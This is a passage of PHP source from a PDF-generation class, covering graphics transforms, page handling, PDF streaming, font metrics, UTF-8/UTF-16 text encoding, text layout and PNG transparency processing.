        $cos_a = cos($a);
        $sin_a = sin($a);

        $tm = [
            $cos_a,
            -$sin_a,
            $sin_a,
            $cos_a,
            $x - $sin_a * $y - $cos_a * $x,
            $y - $cos_a * $y + $sin_a * $x,
        ];

        $this->transform($tm);
    }

    /**
     * skew
     *
     * @param float $angle_x
     * @param float $angle_y
     * @param float $x Origin abscissa
     * @param float $y Origin ordinate
     */
    function skew($angle_x, $angle_y, $x, $y)
    {
        $y = $this->currentPageSize["height"] - $y;

        $tan_x = tan(deg2rad($angle_x));
        $tan_y = tan(deg2rad($angle_y));

        $tm = [
            1,
            -$tan_y,
            -$tan_x,
            1,
            $tan_x * $y,
            $tan_y * $x,
        ];

        $this->transform($tm);
    }

    /**
     * apply graphic transformations
     *
     * @param array $tm transformation matrix
     */
    function transform($tm)
    {
        $this->addContent(vsprintf("\n %.3F %.3F %.3F %.3F %.3F %.3F cm", $tm));
    }

    /**
     * add a new page to the document
     * this also makes the new page the current active object
     *
     * @param int $insert
     * @param int $id
     * @param string $pos
     * @return int
     */
    function newPage($insert = 0, $id = 0, $pos = 'after')
    {
        // if there is a state saved, then go up the stack closing them
        // then on the new page, re-open them with the right setings

        if ($this->nStateStack) {
            for ($i = $this->nStateStack; $i >= 1; $i--) {
                $this->restoreState($i);
            }
        }

        $this->numObj++;

        if ($insert) {
            // the id from the ezPdf class is the id of the contents of the page, not the page object itself
            // query that object to find the parent
            $rid = $this->objects[$id]['onPage'];
            $opt = ['rid' => $rid, 'pos' => $pos];
            $this->o_page($this->numObj, 'new', $opt);
        } else {
            $this->o_page($this->numObj, 'new');
        }

        // if there is a stack saved, then put that onto the page
        if ($this->nStateStack) {
            for ($i = 1; $i <= $this->nStateStack; $i++) {
                $this->saveState($i);
            }
        }

        // and if there has been a stroke or fill color set, then transfer them
        if (isset($this->currentColor)) {
            $this->setColor($this->currentColor, true);
        }

        if (isset($this->currentStrokeColor)) {
            $this->setStrokeColor($this->currentStrokeColor, true);
        }

        // if there is a line style set, then put this in too
        if ($this->currentLineStyle !== '') {
            $this->addContent("\n$this->currentLineStyle");
        }

        // the call to the o_page object set currentContents to the present page, so this can be returned as the page id
        return $this->currentContents;
    }

    /**
     * Streams the PDF to the client.
     *
     * @param string $filename The filename to present to the client.
     * @param array $options Associative array: 'compress' => 1 or 0 (default 1); 'Attachment' => 1 or 0 (default 1).
     */
    function stream($filename = "document.pdf", $options = [])
    {
        if (headers_sent()) {
            die("Unable to stream pdf: headers already sent");
        }

        if (!isset($options["compress"])) $options["compress"] = true;
        if (!isset($options["Attachment"])) $options["Attachment"] = true;

        $debug = !$options['compress'];
        $tmp = ltrim($this->output($debug));

        header("Cache-Control: private");
        header("Content-Type: application/pdf");
        header("Content-Length: " . mb_strlen($tmp, "8bit"));

        $filename = str_replace(["\n", "'"], "", basename($filename, ".pdf")) . ".pdf";
        $attachment = $options["Attachment"] ? "attachment" : "inline";

        $encoding = mb_detect_encoding($filename);
        $fallbackfilename = mb_convert_encoding($filename, "ISO-8859-1", $encoding);
        $fallbackfilename = str_replace("\"", "", $fallbackfilename);
        $encodedfilename = rawurlencode($filename);

        $contentDisposition = "Content-Disposition: $attachment; filename=\"$fallbackfilename\"";
        if ($fallbackfilename !== $filename) {
            $contentDisposition .= "; filename*=UTF-8''$encodedfilename";
        }
        header($contentDisposition);

        echo $tmp;
        flush();
    }

    /**
     * return the height in units of the current font in the given size
     *
     * @param float $size
     *
     * @return float
     */
    public function getFontHeight(float $size): float
    {
        if (!$this->numFonts) {
            $this->selectFont($this->defaultFont);
        }

        $font = $this->fonts[$this->currentFont];

        // for the current font, and the given size, what is the height of the font in user units
        if (isset($font['Ascender']) && isset($font['Descender'])) {
            $h = $font['Ascender'] - $font['Descender'];
        } else {
            $h = $font['FontBBox'][3] - $font['FontBBox'][1];
        }

        // have to adjust by a font offset for Windows fonts.  unfortunately it looks like
        // the bounding box calculations are wrong and I don't know why.
        if (isset($font['FontHeightOffset'])) {
            // For CourierNew from Windows this needs to be -646 to match the
            // Adobe native Courier font.
            //
            // For FreeMono from GNU this needs to be -337 to match the
            // Courier font.
            //
            // Both have been added manually to the .afm and .ufm files.
            $h += (int)$font['FontHeightOffset'];
        }

        return $size * $h / 1000;
    }

    /**
     * @param float $size
     *
     * @return float
     */
    public function getFontXHeight(float $size): float
    {
        if (!$this->numFonts) {
            $this->selectFont($this->defaultFont);
        }

        $font = $this->fonts[$this->currentFont];

        // for the current font, and the given size, what is the height of the font in user units
        if (isset($font['XHeight'])) {
            $xh = $font['Ascender'] - $font['Descender'];
        } else {
            $xh = $this->getFontHeight($size) / 2;
        }

        return $size * $xh / 1000;
    }

    /**
     * return the font descender, this will normally return a negative number
     * if you add this number to the baseline, you get the level of the bottom of the font
     * it is in the pdf user units
     *
     * @param float $size
     *
     * @return float
     */
    public function getFontDescender(float $size): float
    {
        // note that this will most likely return a negative value
        if (!$this->numFonts) {
            $this->selectFont($this->defaultFont);
        }

        //$h = $this->fonts[$this->currentFont]['FontBBox'][1];
        $h = $this->fonts[$this->currentFont]['Descender'];

        return $size * $h / 1000;
    }

    /**
     * filter the text, this is applied to all text just before being inserted into the pdf document
     * it escapes the various things that need to be escaped, and so on
     *
     * @param $text
     * @param bool $bom
     * @param bool $convert_encoding
     * @return string
     */
    function filterText($text, $bom = true, $convert_encoding = true)
    {
        if (!$this->numFonts) {
            $this->selectFont($this->defaultFont);
        }

        if ($convert_encoding) {
            $cf = $this->currentFont;
            if (isset($this->fonts[$cf]) && $this->fonts[$cf]['isUnicode']) {
                $text = $this->utf8toUtf16BE($text, $bom);
            } else {
                //$text = html_entity_decode($text, ENT_QUOTES);
                $text = mb_convert_encoding($text, self::$targetEncoding, 'UTF-8');
            }
        } elseif ($bom) {
            $text = $this->utf8toUtf16BE($text, $bom);
        }

        // the chr(13) substitution fixes a bug seen in TCPDF (bug #1421290)
        return strtr($text, [')' => '\\)', '(' => '\\(', '\\' => '\\\\', chr(13) => '\r']);
    }

    /**
     * return array containing codepoints (UTF-8 character values) for the
     * string passed in.
     *
     * based on the excellent TCPDF code by Nicola Asuni and the
     * RFC for UTF-8 at http://www.faqs.org/rfcs/rfc3629.html
     *
     * @param string $text UTF-8 string to process
     * @return array UTF-8 codepoints array for the string
     */
    function utf8toCodePointsArray(&$text)
    {
        $length = mb_strlen($text, '8bit'); // http://www.php.net/manual/en/function.mb-strlen.php#77040
        $unicode = []; // array containing unicode values
        $bytes = []; // array containing single character byte sequences
        $numbytes = 1; // number of octets needed to represent the UTF-8 character

        for ($i = 0; $i < $length; $i++) {
            $c = ord($text[$i]); // get one string character at time
            if (count($bytes) === 0) { // get starting octect
                if ($c <= 0x7F) {
                    $unicode[] = $c; // use the character "as is" because is ASCII
                    $numbytes = 1;
                } elseif (($c >> 0x05) === 0x06) { // 2 bytes character (0x06 = 110 BIN)
                    $bytes[] = ($c - 0xC0) << 0x06;
                    $numbytes = 2;
                } elseif (($c >> 0x04) === 0x0E) { // 3 bytes character (0x0E = 1110 BIN)
                    $bytes[] = ($c - 0xE0) << 0x0C;
                    $numbytes = 3;
                } elseif (($c >> 0x03) === 0x1E) { // 4 bytes character (0x1E = 11110 BIN)
                    $bytes[] = ($c - 0xF0) << 0x12;
                    $numbytes = 4;
                } else {
                    // use replacement character for other invalid sequences
                    $unicode[] = 0xFFFD;
                    $bytes = [];
                    $numbytes = 1;
                }
            } elseif (($c >> 0x06) === 0x02) { // bytes 2, 3 and 4 must start with 0x02 = 10 BIN
                $bytes[] = $c - 0x80;
                if (count($bytes) === $numbytes) {
                    // compose UTF-8 bytes to a single unicode value
                    $c = $bytes[0];
                    for ($j = 1; $j < $numbytes; $j++) {
                        $c += ($bytes[$j] << (($numbytes - $j - 1) * 0x06));
                    }
                    if ((($c >= 0xD800) and ($c <= 0xDFFF)) or ($c >= 0x10FFFF)) {
                        // The definition of UTF-8 prohibits encoding character numbers between
                        // U+D800 and U+DFFF, which are reserved for use with the UTF-16
                        // encoding form (as surrogate pairs) and do not directly represent
                        // characters.
                        $unicode[] = 0xFFFD; // use replacement character
                    } else {
                        $unicode[] = $c; // add char to array
                    }
                    // reset data for next char
                    $bytes = [];
                    $numbytes = 1;
                }
            } else {
                // use replacement character for other invalid sequences
                $unicode[] = 0xFFFD;
                $bytes = [];
                $numbytes = 1;
            }
        }

        return $unicode;
    }

    /**
     * convert UTF-8 to UTF-16 with an additional byte order marker
     * at the front if required.
     *
     * based on the excellent TCPDF code by Nicola Asuni and the
     * RFC for UTF-8 at http://www.faqs.org/rfcs/rfc3629.html
     *
     * @param string  $text UTF-8 string to process
     * @param boolean $bom  whether to add the byte order marker
     * @return string UTF-16 result string
     */
    function utf8toUtf16BE(&$text, $bom = true)
    {
        $out = $bom ? "\xFE\xFF" : '';

        $unicode = $this->utf8toCodePointsArray($text);
        foreach ($unicode as $c) {
            if ($c === 0xFFFD) {
                $out .= "\xFF\xFD"; // replacement character
            } elseif ($c < 0x10000) {
                $out .= chr($c >> 0x08) . chr($c & 0xFF);
            } else {
                $c -= 0x10000;
                $w1 = 0xD800 | ($c >> 0x10);
                $w2 = 0xDC00 | ($c & 0x3FF);
                $out .= chr($w1 >> 0x08) . chr($w1 & 0xFF) . chr($w2 >> 0x08) . chr($w2 & 0xFF);
            }
        }

        return $out;
    }

    /**
     * given a start position and information about how text is to be laid out, calculate where
     * on the page the text will end
     *
     * @param $x
     * @param $y
     * @param $angle
     * @param $size
     * @param $wa
     * @param $text
     * @return array
     */
    private function getTextPosition($x, $y, $angle, $size, $wa, $text)
    {
        // given this information return an array containing x and y for the end position as elements 0 and 1
        $w = $this->getTextWidth($size, $text);

        // need to adjust for the number of spaces in this text
        $words = explode(' ', $text);
        $nspaces = count($words) - 1;
        $w += $wa * $nspaces;
        $a = deg2rad((float)$angle);

        return [cos($a) * $w + $x, -sin($a) * $w + $y];
    }

    /**
     * Callback method used by smallCaps
     *
     * @param array $matches
     *
     * @return string
     */
    function toUpper($matches)
    {
        return mb_strtoupper($matches[0]);
    }

    function concatMatches($matches)
    {
        $str = "";
        foreach ($matches as $match) {
            $str .= $match[0];
        }

        return $str;
    }

    /**
     * register text for font subsetting
     *
     * @param string $font
     * @param string $text
     */
    function registerText($font, $text)
    {
        if (!$this->isUnicode || in_array(mb_strtolower(basename($font)), self::$coreFonts)) {
            return;
        }

        if (!isset($this->stringSubsets[$font])) {
            $base_subset = "\u{fffd}\u{fffe}\u{ffff}"; // fffd => replacement character, fffe/ffff => not a character
            $this->stringSubsets[$font] = $this->utf8toCodePointsArray($base_subset);
        }

        $this->stringSubsets[$font] = array_unique(
            array_merge($this->stringSubsets[$font], $this->utf8toCodePointsArray($text))
        );
    }

    /**
     * add text to the document, at a specified location, size and angle on the page
     *
     * @param float  $x
     * @param float  $y
     * @param float  $size
     * @param string $text
     * @param float  $angle
     * @param float  $wordSpaceAdjust
     * @param float  $charSpaceAdjust
     * @param bool   $smallCaps
     */
    function addText($x, $y, $size, $text, $angle = 0, $wordSpaceAdjust = 0, $charSpaceAdjust = 0, $smallCaps = false)
    {
        if (!$this->numFonts) {
            $this->selectFont($this->defaultFont);
        }

        $text = str_replace(["\r", "\n"], "", $text);

        // if ($smallCaps) {
        //     preg_match_all("/(\P{Ll}+)/u", $text, $matches, PREG_SET_ORDER);
        //     $lower = $this->concatMatches($matches);
        //     d($lower);

        //     preg_match_all("/(\p{Ll}+)/u", $text, $matches, PREG_SET_ORDER);
        //     $other = $this->concatMatches($matches);
        //     d($other);

        //     $text = preg_replace_callback("/\p{Ll}/u", array($this, "toUpper"), $text);
        // }

        // if there are any open callbacks, then they should be called, to show the start of the line
        if ($this->nCallback > 0) {
            for ($i = $this->nCallback; $i > 0; $i--) {
                // call each function
                $info = [
                    'x'         => $x,
                    'y'         => $y,
                    'angle'     => $angle,
                    'status'    => 'sol',
                    'p'         => $this->callback[$i]['p'],
                    'nCallback' => $this->callback[$i]['nCallback'],
                    'height'    => $this->callback[$i]['height'],
                    'descender' => $this->callback[$i]['descender']
                ];

                $func = $this->callback[$i]['f'];
                $this->$func($info);
            }
        }

        if ($angle == 0) {
            $this->addContent(sprintf("\nBT %.3F %.3F Td", $x, $y));
        } else {
            $a = deg2rad((float)$angle);
            $this->addContent(
                sprintf("\nBT %.3F %.3F %.3F %.3F %.3F %.3F Tm", cos($a), -sin($a), sin($a), cos($a), $x, $y)
            );
        }

        if ($wordSpaceAdjust != 0) {
            $this->addContent(sprintf(" %.3F Tw", $wordSpaceAdjust));
        }

        if ($charSpaceAdjust != 0) {
            $this->addContent(sprintf(" %.3F Tc", $charSpaceAdjust));
        }

        $len = mb_strlen($text);
        $start = 0;

        if ($start < $len) {
            $part = $text; // OAR - Don't need this anymore, given that $start always equals zero.  substr($text, $start);
            $place_text = $this->filterText($part, false);
            // modify unicode text so that extra word spacing is manually implemented (bug #)
            if ($this->fonts[$this->currentFont]['isUnicode'] && $wordSpaceAdjust != 0) {
                $space_scale = 1000 / $size;
                $place_text = str_replace("\x00\x20", "\x00\x20)\x00\x20" . (-round($space_scale * $wordSpaceAdjust)) . "\x00\x20(", $place_text);
            }
            $this->addContent(" /F$this->currentFontNum " . sprintf('%.1F Tf ', $size));
            $this->addContent(" [($place_text)] TJ");
        }

        if ($wordSpaceAdjust != 0) {
            $this->addContent(sprintf(" %.3F Tw", 0));
        }

        if ($charSpaceAdjust != 0) {
            $this->addContent(sprintf(" %.3F Tc", 0));
        }

        $this->addContent(' ET');

        // if there are any open callbacks, then they should be called, to show the end of the line
        if ($this->nCallback > 0) {
            for ($i = $this->nCallback; $i > 0; $i--) {
                // call each function
                $tmp = $this->getTextPosition($x, $y, $angle, $size, $wordSpaceAdjust, $text);
                $info = [
                    'x'         => $tmp[0],
                    'y'         => $tmp[1],
                    'angle'     => $angle,
                    'status'    => 'eol',
                    'p'         => $this->callback[$i]['p'],
                    'nCallback' => $this->callback[$i]['nCallback'],
                    'height'    => $this->callback[$i]['height'],
                    'descender' => $this->callback[$i]['descender']
                ];
                $func = $this->callback[$i]['f'];
                $this->$func($info);
            }
        }

        if ($this->fonts[$this->currentFont]['isSubsetting']) {
            $this->registerText($this->currentFont, $text);
        }
    }

    /**
     * calculate how wide a given text string will be on a page, at a given size.
     * this can be called externally, but is also used by the other class functions
     *
     * @param float  $size
     * @param string $text
     * @param float  $wordSpacing
     * @param float  $charSpacing
     *
     * @return float
     */
    public function getTextWidth(float $size, string $text, float $wordSpacing = 0.0, float $charSpacing = 0.0): float
    {
        static $ord_cache = [];

        // this function should not change any of the settings, though it will need to
        // track any directives which change during calculation, so copy them at the start
        // and put them back at the end.
        $store_currentTextState = $this->currentTextState;

        if (!$this->numFonts) {
            $this->selectFont($this->defaultFont);
        }

        // remove non-printable characters since they have no width
        $text = preg_replace('/[\x00-\x1F\x7F]/u', '', $text);

        // hmm, this is where it all starts to get tricky - use the font information to
        // calculate the width of each character, add them up and convert to user units
        $w = 0;
        $cf = $this->currentFont;
        $current_font = $this->fonts[$cf];
        $space_scale = 1000 / ($size > 0 ? $size : 1);

        if ($current_font['isUnicode']) {
            // for Unicode, use the code points array to calculate width rather
            // than just the string itself
            $unicode = $this->utf8toCodePointsArray($text);

            foreach ($unicode as $char) {
                // check if we have to replace character
                if (isset($current_font['differences'][$char])) {
                    $char = $current_font['differences'][$char];
                }

                if (isset($current_font['C'][$char])) {
                    $char_width = $current_font['C'][$char];
                } elseif (isset($current_font['C'][0xFFFD])) {
                    // fffd => replacement character
                    $char_width = $current_font['C'][0xFFFD];
                } else {
                    $char_width = $current_font['C'][0x0020];
                }

                // add the character width
                $w += $char_width;

                // add additional padding for space
                if (isset($current_font['codeToName'][$char]) && $current_font['codeToName'][$char] === 'space') {  // Space
                    $w += $wordSpacing * $space_scale;
                }
            }

            // add additional char spacing
            if ($charSpacing != 0) {
                $w += $charSpacing * $space_scale * count($unicode);
            }

        } else {
            // If CPDF is in Unicode mode but the current font does not support Unicode we need to convert the character set to Windows-1252
            if ($this->isUnicode) {
                $text = mb_convert_encoding($text, 'Windows-1252', 'UTF-8');
            }

            $len = mb_strlen($text, 'Windows-1252');

            for ($i = 0; $i < $len; $i++) {
                $c = $text[$i];
                $char = isset($ord_cache[$c]) ? $ord_cache[$c] : ($ord_cache[$c] = ord($c));

                // check if we have to replace character
                if (isset($current_font['differences'][$char])) {
                    $char = $current_font['differences'][$char];
                }

                if (isset($current_font['C'][$char])) {
                    $char_width = $current_font['C'][$char];
                } elseif (isset($current_font['C'][0xFFFD])) {
                    // fffd => replacement character
                    $char_width = $current_font['C'][0xFFFD];
                } else {
                    $char_width = $current_font['C'][0x0020];
                }

                // add the character width
                $w += $char_width;

                // add additional padding for space
                if (isset($current_font['codeToName'][$char]) && $current_font['codeToName'][$char] === 'space') {  // Space
                    $w += $wordSpacing * $space_scale;
                }
            }

            // add additional char spacing
            if ($charSpacing != 0) {
                $w += $charSpacing * $space_scale * $len;
            }
        }

        $this->currentTextState = $store_currentTextState;
        $this->setCurrentFont();

        return $w * $size / 1000;
    }

    /**
     * this will be called at a new page to return the state to what it was on the
     * end of the previous page, before the stack was closed down
     * This is to get around not being able to have open 'q' across pages
     *
     * @param int $pageEnd
     */
    function saveState($pageEnd = 0)
    {
        if ($pageEnd) {
            // this will be called at a new page to return the state to what it was on the
            // end of the previous page, before the stack was closed down
            // This is to get around not being able to have open 'q' across pages
            $opt = $this->stateStack[$pageEnd];
            // ok to use this as stack starts numbering at 1
            $this->setColor($opt['col'], true);
            $this->setStrokeColor($opt['str'], true);
            $this->addContent("\n" . $opt['lin']);
            //    $this->currentLineStyle = $opt['lin'];
        } else {
            $this->nStateStack++;
            $this->stateStack[$this->nStateStack] = [
                'col' => $this->currentColor,
                'str' => $this->currentStrokeColor,
                'lin' => $this->currentLineStyle
            ];
        }

        $this->save();
    }

    /**
     * restore a previously saved state
     *
     * @param int $pageEnd
     */
    function restoreState($pageEnd = 0)
    {
        if (!$pageEnd) {
            $n = $this->nStateStack;
            $this->currentColor = $this->stateStack[$n]['col'];
            $this->currentStrokeColor = $this->stateStack[$n]['str'];
            $this->addContent("\n" . $this->stateStack[$n]['lin']);
            $this->currentLineStyle = $this->stateStack[$n]['lin'];
            $this->stateStack[$n] = null;
            unset($this->stateStack[$n]);
            $this->nStateStack--;
        }

        $this->restore();
    }

    /**
     * make a loose object, the output will go into this object, until it is closed, then will revert to
     * the current one.
     * this object will not appear until it is included within a page.
     * the function will return the object number
     *
     * @return int
     */
    function openObject()
    {
        $this->nStack++;
        $this->stack[$this->nStack] = ['c' => $this->currentContents, 'p' => $this->currentPage];
        // add a new object of the content type, to hold the data flow
        $this->numObj++;
        $this->o_contents($this->numObj, 'new');
        $this->currentContents = $this->numObj;
        $this->looseObjects[$this->numObj] = 1;

        return $this->numObj;
    }

    /**
     * open an existing object for editing
     *
     * @param $id
     */
    function reopenObject($id)
    {
        $this->nStack++;
        $this->stack[$this->nStack] = ['c' => $this->currentContents, 'p' => $this->currentPage];
        $this->currentContents = $id;

        // also if this object is the primary contents for a page, then set the current page to its parent
        if (isset($this->objects[$id]['onPage'])) {
            $this->currentPage = $this->objects[$id]['onPage'];
        }
    }

    /**
     * close an object
     */
    function closeObject()
    {
        // close the object, as long as there was one open in the first place, which will be indicated by
        // an objectId on the stack.
        if ($this->nStack > 0) {
            $this->currentContents = $this->stack[$this->nStack]['c'];
            $this->currentPage = $this->stack[$this->nStack]['p'];
            $this->nStack--;
            // easier to probably not worry about removing the old entries, they will be overwritten
            // if there are new ones.
        }
    }

    /**
     * stop an object from appearing on pages from this point on
     *
     * @param $id
     */
    function stopObject($id)
    {
        // if an object has been appearing on pages up to now, then stop it, this page will
        // be the last one that could contain it.
        if (isset($this->addLooseObjects[$id])) {
            $this->addLooseObjects[$id] = '';
        }
    }

    /**
     * after an object has been created, it wil only show if it has been added, using this function.
     *
     * @param $id
     * @param string $options
     */
    function addObject($id, $options = 'add')
    {
        // add the specified object to the page
        if (isset($this->looseObjects[$id]) && $this->currentContents != $id) {
            // then it is a valid object, and it is not being added to itself
            switch ($options) {
                case 'all':
                    // then this object is to be added to this page (done in the next block) and
                    // all future new pages.
                    $this->addLooseObjects[$id] = 'all';

                case 'add':
                    if (isset($this->objects[$this->currentContents]['onPage'])) {
                        // then the destination contents is the primary for the page
                        // (though this object is actually added to that page)
                        $this->o_page($this->objects[$this->currentContents]['onPage'], 'content', $id);
                    }
                    break;

                case 'even':
                    $this->addLooseObjects[$id] = 'even';
                    $pageObjectId = $this->objects[$this->currentContents]['onPage'];
                    if ($this->objects[$pageObjectId]['info']['pageNum'] % 2 == 0) {
                        $this->addObject($id);
                        // hacky huh :)
                    }
                    break;

                case 'odd':
                    $this->addLooseObjects[$id] = 'odd';
                    $pageObjectId = $this->objects[$this->currentContents]['onPage'];
                    if ($this->objects[$pageObjectId]['info']['pageNum'] % 2 == 1) {
                        $this->addObject($id);
                        // hacky huh :)
                    }
                    break;

                case 'next':
                    $this->addLooseObjects[$id] = 'all';
                    break;

                case 'nexteven':
                    $this->addLooseObjects[$id] = 'even';
                    break;

                case 'nextodd':
                    $this->addLooseObjects[$id] = 'odd';
                    break;
            }
        }
    }

    /**
     * return a storable representation of a specific object
     *
     * @param $id
     * @return string|null
     */
    function serializeObject($id)
    {
        if (array_key_exists($id, $this->objects)) {
            return serialize($this->objects[$id]);
        }

        return null;
    }

    /**
     * restore an object from its stored representation. Returns its new object id.
     *
     * @param $obj
     * @return int
     */
    function restoreSerializedObject($obj)
    {
        $obj_id = $this->openObject();
        $this->objects[$obj_id] = unserialize($obj);
        $this->closeObject();

        return $obj_id;
    }

    /**
     * Embeds a file inside the PDF
     *
     * @param string $filepath path to the file to store inside the PDF
     * @param string $embeddedFilename the filename displayed in the list of embedded files
     * @param string $description a description in the list of embedded files
     */
    public function addEmbeddedFile(string $filepath, string $embeddedFilename, string $description): void
    {
        $this->numObj++;
        $this->o_embedded_file_dictionary(
            $this->numObj,
            'new',
            [
                'filepath' => $filepath,
                'filename' => $embeddedFilename,
                'description' => $description
            ]
        );
    }

    /**
     * Add content to the documents info object
     *
     * @param string|array $label
     * @param string       $value
     */
    public function addInfo($label, string $value = ""): void
    {
        // this will only work if the label is one of the valid ones.
        // modify this so that arrays can be passed as well.
        // if $label is an array then assume that it is key => value pairs
        // else assume that they are both scalar, anything else will probably error
        if (is_array($label)) {
            foreach ($label as $l => $v) {
                $this->o_info($this->infoObject, $l, (string) $v);
            }
        } else {
            $this->o_info($this->infoObject, $label, $value);
        }
    }

    /**
     * set the viewer preferences of the document, it is up to the browser to obey these.
     *
     * @param $label
     * @param int $value
     */
    function setPreferences($label, $value = 0)
    {
        // this will only work if the label is one of the valid ones.
        if (is_array($label)) {
            foreach ($label as $l => $v) {
                $this->o_catalog($this->catalogId, 'viewerPreferences', [$l => $v]);
            }
        } else {
            $this->o_catalog($this->catalogId, 'viewerPreferences', [$label => $value]);
        }
    }

    /**
     * extract an integer from a position in a byte stream
     *
     * @param $data
     * @param $pos
     * @param $num
     * @return int
     */
    private function getBytes(&$data, $pos, $num)
    {
        // return the integer represented by $num bytes from $pos within $data
        $ret = 0;
        for ($i = 0; $i < $num; $i++) {
            $ret *= 256;
            $ret += ord($data[$pos + $i]);
        }

        return $ret;
    }

    /**
     * Check if image already added to pdf image directory.
     * If yes, need not to create again (pass empty data)
     *
     * @param string $imgname
     * @return bool
     */
    function image_iscached($imgname)
    {
        return isset($this->imagelist[$imgname]);
    }

    /**
     * add a PNG image into the document, from a GD object
     * this should work with remote files
     *
     * @param \GdImage|resource $img A GD resource
     * @param string $file The PNG file
     * @param float $x X position
     * @param float $y Y position
     * @param float $w Width
     * @param float $h Height
     * @param bool $is_mask true if the image is a mask
     * @param bool $mask true if the image is masked
     * @throws Exception
     */
    function addImagePng(&$img, $file, $x, $y, $w = 0.0, $h = 0.0, $is_mask = false, $mask = null)
    {
        if (!function_exists("imagepng")) {
            throw new \Exception("The PHP GD extension is required, but is not installed.");
        }

        //if already cached, need not to read again
        if (isset($this->imagelist[$file])) {
            $data = null;
        } else {
            // Example for transparency handling on new image. Retain for current image
            // $tIndex = imagecolortransparent($img);
            // if ($tIndex > 0) {
            //   $tColor    = imagecolorsforindex($img, $tIndex);
            //   $new_tIndex    = imagecolorallocate($new_img, $tColor['red'], $tColor['green'], $tColor['blue']);
            //   imagefill($new_img, 0, 0, $new_tIndex);
            //   imagecolortransparent($new_img, $new_tIndex);
            // }
            // blending mode (literal/blending) on drawing into current image. not relevant when not saved or not drawn
            //imagealphablending($img, true);

            //default, but explicitely set to ensure pdf compatibility
            imagesavealpha($img, false/*!$is_mask && !$mask*/);

            $error = 0;
            //DEBUG_IMG_TEMP
            //debugpng
            if (defined("DEBUGPNG") && DEBUGPNG) {
                print '[addImagePng ' . $file . ']';
            }

            ob_start();
            @imagepng($img);
            $data = ob_get_clean();

            if ($data == '') {
                $error = 1;
                $errormsg = 'trouble writing file from GD';
                //DEBUG_IMG_TEMP
                //debugpng
                if (defined("DEBUGPNG") && DEBUGPNG) {
                    print 'trouble writing file from GD';
                }
            }

            if ($error) {
                $this->addMessage('PNG error - (' . $file . ') ' . $errormsg);

                return;
            }
        }  //End isset($this->imagelist[$file]) (png Duplicate removal)

        $this->addPngFromBuf($data, $file, $x, $y, $w, $h, $is_mask, $mask);
    }

    /**
     * @param $file
     * @param $x
     * @param $y
     * @param $w
     * @param $h
     * @param $byte
     */
    protected function addImagePngAlpha($file, $x, $y, $w, $h, $byte)
    {
        // generate images
        $img = @imagecreatefrompng($file);

        if ($img === false) {
            return;
        }

        // FIXME The pixel transformation doesn't work well with 8bit PNGs
        $eight_bit = ($byte & 4) !== 4;

        $wpx = imagesx($img);
        $hpx = imagesy($img);

        imagesavealpha($img, false);

        // create temp alpha file
        $tempfile_alpha = @tempnam($this->tmp, "cpdf_img_");
        @unlink($tempfile_alpha);
        $tempfile_alpha = "$tempfile_alpha.png";

        // create temp plain file
        $tempfile_plain = @tempnam($this->tmp, "cpdf_img_");
        @unlink($tempfile_plain);
        $tempfile_plain = "$tempfile_plain.png";

        $imgalpha = imagecreate($wpx, $hpx);
        imagesavealpha($imgalpha, false);

        // generate gray scale palette (0 -> 255)
        for ($c = 0; $c < 256; ++$c) {
            imagecolorallocate($imgalpha, $c, $c, $c);
        }

        // Use PECL gmagick + Graphics Magic to process transparent PNG images
        if (extension_loaded("gmagick")) {
            $gmagick = new \Gmagick($file);
            $gmagick->setimageformat('png');

            // Get opacity channel (negative of alpha channel)
            $alpha_channel_neg = clone $gmagick;
            $alpha_channel_neg->separateimagechannel(\Gmagick::CHANNEL_OPACITY);

            // Negate opacity channel
            $alpha_channel = new \Gmagick();
            $alpha_channel->newimage($wpx, $hpx, "#FFFFFF", "png");
            $alpha_channel->compositeimage($alpha_channel_neg, \Gmagick::COMPOSITE_DIFFERENCE, 0, 0);
            $alpha_channel->separateimagechannel(\Gmagick::CHANNEL_RED);
            $alpha_channel->writeimage($tempfile_alpha);

            // Cast to 8bit+palette
            $imgalpha_ = @imagecreatefrompng($tempfile_alpha);
            imagecopy($imgalpha, $imgalpha_, 0, 0, 0, 0, $wpx, $hpx);
            imagedestroy($imgalpha_);
            imagepng($imgalpha, $tempfile_alpha);

            // Make opaque image
            $color_channels = new \Gmagick();
            $color_channels->newimage($wpx, $hpx, "#FFFFFF", "png");
            $color_channels->compositeimage($gmagick, \Gmagick::COMPOSITE_COPYRED, 0, 0);
            $color_channels->compositeimage($gmagick, \Gmagick::COMPOSITE_COPYGREEN, 0, 0);
            $color_channels->compositeimage($gmagick, \Gmagick::COMPOSITE_COPYBLUE, 0, 0);
            $color_channels->writeimage($tempfile_plain);

            $imgplain = @imagecreatefrompng($tempfile_plain);
        }
        // Use PECL imagick + ImageMagic to process transparent PNG images
        elseif (extension_loaded("imagick")) {
            // Native cloning was added to pecl-imagick in svn commit 263814
            // the first version containing it was 3.0.1RC1
            static $imagickClonable = null;
            if ($imagickClonable === null) {
                $imagickClonable = true;
                if (defined('Imagick::IMAGICK_EXTVER')) {
                    $imagickVersion = \Imagick::IMAGICK_EXTVER;
                } else {
                    $imagickVersion = '0';
                }
                if (version_compare($imagickVersion, '0.0.1', '>=')) {
                    $imagickClonable = version_compare($imagickVersion, '3.0.1rc1', '>=');
                }
            }

            $imagick = new \Imagick();
            $imagick->setRegistry('temporary-path', $this->tmp);
            $imagick->setFormat('PNG');
            $imagick->readImage($file);

            // Get opacity channel (negative of alpha channel)
            if ($imagick->getImageAlphaChannel()) {
                $alpha_channel = $imagickClonable ? clone $imagick : $imagick->clone();
                $alpha_channel->separateImageChannel(\Imagick::CHANNEL_ALPHA);
                // Since ImageMagick7 negate invert transparency as default
                if (\Imagick::getVersion()['versionNumber'] < 1800) {
                    $alpha_channel->negateImage(true);
                }

                try {
                    $alpha_channel->writeImage($tempfile_alpha);
                } catch (\ImagickException $th) {
                    // Backwards compatible retry attempt in case the IMagick policy is still configured in lowercase
                    $alpha_channel->setFormat('png');
                    $alpha_channel->writeImage($tempfile_alpha);
                }

                // Cast to 8bit+palette
                $imgalpha_ = @imagecreatefrompng($tempfile_alpha);
                imagecopy($imgalpha, $imgalpha_, 0, 0, 0, 0, $wpx, $hpx);
                imagedestroy($imgalpha_);
                imagepng($imgalpha, $tempfile_alpha);
            } else {
                $tempfile_alpha = null;
            }

            // Make opaque image
            $color_channels = new \Imagick();
            $color_channels->setRegistry('temporary-path', $this->tmp);
            $color_channels->newImage($wpx, $hpx, "#FFFFFF", "png");
            $color_channels->compositeImage($imagick, \Imagick::COMPOSITE_COPYRED, 0, 0);
            $color_channels->compositeImage($imagick, \Imagick::COMPOSITE_COPYGREEN, 0, 0);
